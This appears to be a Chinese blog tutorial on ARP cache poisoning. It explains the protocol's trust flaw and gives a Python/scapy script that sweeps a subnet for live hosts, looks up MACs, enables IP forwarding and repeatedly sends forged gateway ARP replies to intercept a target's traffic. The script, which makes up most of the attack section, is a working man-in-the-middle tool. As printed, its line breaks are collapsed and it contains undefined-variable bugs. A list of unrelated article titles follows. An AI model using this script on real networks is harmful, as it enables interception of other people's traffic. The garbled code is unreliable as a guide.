Python渗透测试之ARP毒化和协议应用


1. ARP毒化

​ ARP毒化是一种比较老的渗透测试技术,通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有许多意外的收获。

1.1 工作原理

ARP(地址解析协议)是数据链路层的协议, 主要负责根据网络层地址(IP)来获取数据链路层地址(MAC)。以太网协议规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须知道目标主机的MAC地址。而在TCP/IP中,网络只关注目标主机的IP地址,这就导致在以太网中使用IP协议时,数据链路层的以太网协议接收到网络层的IP协议提供的数据中,只包含目的主机IP地址,于是需要ARP来完成IP地址到MAC地址到转换。本地ARP缓存表是有生存周期的,ARP有一个重大缺陷:ARP是建立在网络中各个主机互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项,则会对其进行更新。由此,攻击者可以向受害者主机发送伪ARP应答包,毒化受害主机的ARP缓存表。如下图:

开始毒化时,攻击机会给靶机发送ARP应答包说“我就是网关”,同时也会给网关发送ARP应答包说“我就是靶机。由于ARP缺陷,靶机和网关都会认为这应答包是真的。这样靶机和网关之间的通信就变成上图所示,靶机和网关之间的流量都要通过攻击机。

靶机ARP毒化之前,网关IP和MAC地址、攻击机IP和MAC地址,缓存表如下图红框:

下图是攻击机MAC地址

靶机ARP毒化之后,网关IP和MAC地址,缓存表如下图红框:

网关MAC地址变成攻击机的MAC地址了。

1.2 ARP毒化及应用

运行环境:

攻击机:Linux kali 5.10.0

靶 机:Win10

功能模块:

  • 获取网段内存活主机
  • 获取指定IP主机的MAC地址
  • ARP毒化

示例代码如下:

#_*_coding:utf-8_*_
# 作者      :liuxiaowei
# 创建时间   :4/25/22 9:08 AM
# 文件      :arp获取网络存活主机.py
# IDE      :PyCharmfrom scapy.all import *
import sys
import os# 存放本机的mac地址
lmac = ""
# 存放本机的ip地址
#lip = ""
# 存放存活主机的ip和mac的字典
liveHost = {}# 获取存活主机的IP地址和MAC地址的函数
def GetAllMAC(lip):# IP扫描列表scanList = lip + '/24'try:# 通过对每个IP都进行ARP广播,获得存活主机的MAC地址ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=scanList), timeout=2)except Exception as e:print(e)# ARP广播发送完毕后执行else:# ans包含存活主机返回的响应包和响应内容for send, rcv in ans:addrList = rcv.sprintf("%Ether.src%|%ARP.psrc%")liveHost[addrList.split("|")[1]] = addrList.split("|")[0]# 根据IP地址获取主机的MAC地址
def GetOneMAC(targetIP):# 若该IP地址存在,则返回MAC地址if targetIP in liveHost.keys():return liveHost[targetIP]else:return 0# ARP毒化函数
def poison(targetIP, gatewayIP, ifname):# 获取毒化主机的MAC地址targetMac = GetOneMAC(targetIP)# 获取网关的MAC地址gatewayMac = GetOneMAC(gatewayIP)if targetMac and gatewaMac:while True:# 对目标主机毒化sendp(Ether(src=lmac, dst=targetMac)/ARP(hwsrc =lmac, hwdst = targetMAC, psrc=gatewayIP, pdst=targetIP, op=2),iface = ifname, verbose = False)time.sleep(1)else:print('目标主机/网关主机IP有误,请检查!')sys.exit(0)if __name__ == "__main__":# 程序界面print('\t\t\033[0;30;46m === ARP协议功能应用 === \033[0m')print('\n\t\t\t[1] 获取网段内存活主机:')print('\n\t\t\t[2] 获取指定IP主机的MAC地址')print('\n\t\t\t[3] ARP毒化')print('\n\t\t\t[4] 退  出 ')# while 循环Done = Truewhile Done:choice = int(input('\n\t\t\033[0;30;44m 请输入选项:\t \033[0m'))if choice == 1:lip = input('\n\t\t\033[0;30;44m 请输入网段地址:\t  \033[0m')GetAllMAC(lip)print(f'\n开始收集存活的主机.....:\n{liveHost}')print(f'存活主机数量为:{len(liveHost)}个')elif choice == 2:targetip = input('\n\t\t\033[0;30;44m 请输入指定主机地址:\t \033[0m')print(f'主机{targetip}的MAC地址: {GetOneMAC(targetip)}')elif choice == 3:print('\033[0;30;41m 开启路由转发功能.........\033[0m')os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')targetip = input('\n\t\t\033[0;30;44m 请输入目标主机IP地址:\t \033[0m')gatewayip = input('\n\t\t\033[0;30;44m 请输入网关IP地址:\t \033[0m')ifname = 'eth0'lmac = get_if_hwaddr(ifname)  # 获取本地mac地址try:print('\033[0;30;41m 开始毒化.........\033[0m')print(lmac)print(targetip)poison(targetip, gatewayip, ifname)except KeyboardInterrupt:print('\033[0;30;41m === 停止ARP毒化 === \033[0m')print('\033[0;30;41m === 停止路由转发功能 === \033[0m')elif choice == 4:Done = Falsebreak

运行结果如下:

下图是程序运行界面

下图是获取网段内存活主机模块运行结果:

下图是获取指定IP地址主机的MAC地址模块运行结果:

下图是ARP毒化模块运行结果:

攻击机开启路由转发,所以靶机ping www.baidu.com是可以通的,数据包被攻击机捕获。

Python渗透测试之ARP毒化和协议应用相关推荐

  1. Python渗透测试之Scapy模块情报收集

    文章目录 Scapy模块文件 关于Scapy 基本用法 采用分层形式来构造数据包 Scapy模块中的函数 send()和sendp() fuzz()函数 sr(),sr1()和srp() sniff( ...

  2. arp协议分析python编程实现arp欺骗抓图片

    arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...

  3. python渗透编程之道

    1.了解python 2.网络知识 3.渗透知识 第三章 网络:原始套接字和流量嗅探 1.Windows和Linux上的包嗅探 # _*_coding:utf-8_*_ import socket i ...

  4. Kali渗透测试之端口扫描1——UDP、TCP、僵尸扫描、隐蔽扫描

    端口扫描 每个服务器上面都会跑很多应用,每个应用都会侦听某些端口,通过侦听端口接收来自客户端或其他用户对应用程序的访问.所以在发现目标主机存活后,我们需要知道目标主机上都开放了那些端口,应用程序的漏洞 ...

  5. @渗透测试之信息收集

    目录 渗透测试之信息收集 一.信息收集之概述 1.1 渗透一个目标系统,最常见的信息手机目标有如下几种: 1.2 信息收集的作用 二.利用搜索引擎收集信息 2.1 利用搜索引擎的收集目标主要有以下几种 ...

  6. 渗透测试之信息收集思维导图

    渗透测试之信息收集-脑图 信息收集的重要性 根据<精通Metasploit渗透测试>一书所讲: 信息收集是整个渗透测试最重要阶段之一,可任意让测试者选择合适和准确的渗透测试攻击方式,缩短渗 ...

  7. 第一章:渗透测试之信息收集

    第一章:渗透测试之信息收集 信息收集主要内容:服务器配置信息.网站敏感信息. 其中包括:域名及子域名信息.目标网站系统.CMS指纹.目标网站的真实IP.开放端口等. 总之:只要与目标网站有关就尽量去搜 ...

  8. 渗透测试之指纹识别(CMS、CDN、WAF)

    目录 什么是指纹识别: 1.cms指纹识别 2.cdn指纹识别: 3.WAF指纹识别: 什么是指纹识别: 通过关键特征,识别出目标的CMS系统.服务器.开发语言.操作系统.CDN.WAF的类别 版本等 ...

  9. python 渗透框架_Python渗透测试框架:PytheM

    PytheM是一个Python渗透测试框架.它只能在osnGNU/Linux OS系统上运行. 安装$sudo apt-get update $sudo apt-get install libasou ...

最新文章

  1. 浅谈javascript中的数据类型和引用类型
  2. 一分钟解决idea端口占用问题
  3. linux hadoop测试,快速搭建Hadoop环境并测试mapreduce
  4. 机器学习-数据集类型04
  5. SAP UI5 sap.ui.core.OpenState.CLOSED Dialog open and close
  6. Enumerable 下又有新的扩展方法啦,快来一睹为快吧
  7. 在Ubuntu 16.04 使用命令行安装Nvidia CUDA-9.0以及cudnn7
  8. 《企业IT架构转型之道》边读边想——数字化运营能力
  9. Linux忘记开机密码
  10. java分布式包含的技术_Java分布式架构核心技术[SSM组合+ springmvc+mybatis+shiro+restful+bootstrap]...
  11. 秋招知识点总结-Redis数据库
  12. Python爬取58同城租房数据,完美解决字体加密
  13. Python 给图片上加文字
  14. 【嵌入式】关于IAP+Xmodem从外部接收bin文件对芯片进行升级学习记录
  15. OLED调试和OLED显示器(程序)(学习笔记)
  16. 微信小程序苹果手机statusBarHeight状态栏高度为0
  17. 第一款带无代码应用搭建平台的固定资产管理系统
  18. 我学设计模式 之 原型模型模式
  19. 四、RNN模型 与 NLP应用 —— Stacked RNN
  20. 矩阵的乘法口诀(一)

热门文章

  1. 李代数与李群间的转换-指数映射、对数映射
  2. php 上传加水印图片格式,用PHP实现给上传的图片加水印的代码_PHP
  3. mysql .pdb是什么文件_.NET PDB文件到底是什么?
  4. PowerShell 学习笔记 - 1 PS Core 基础
  5. 风力发电机组机械功率Pm与转子转速Wm关系(Matlab实现)
  6. 扫地机器人灰尘堵住_不怕脏更不怕累!这才是清理扫地机器人的正确姿势
  7. 开发板实战篇2 6位数码管静态显示
  8. MySQL多行数据合并(单例显示多个值)之GROUP_CONCAT()函数(字符串连接函数)
  9. 小型会议室如何选视频会议终端?
  10. 用iMovie制作app store预览视频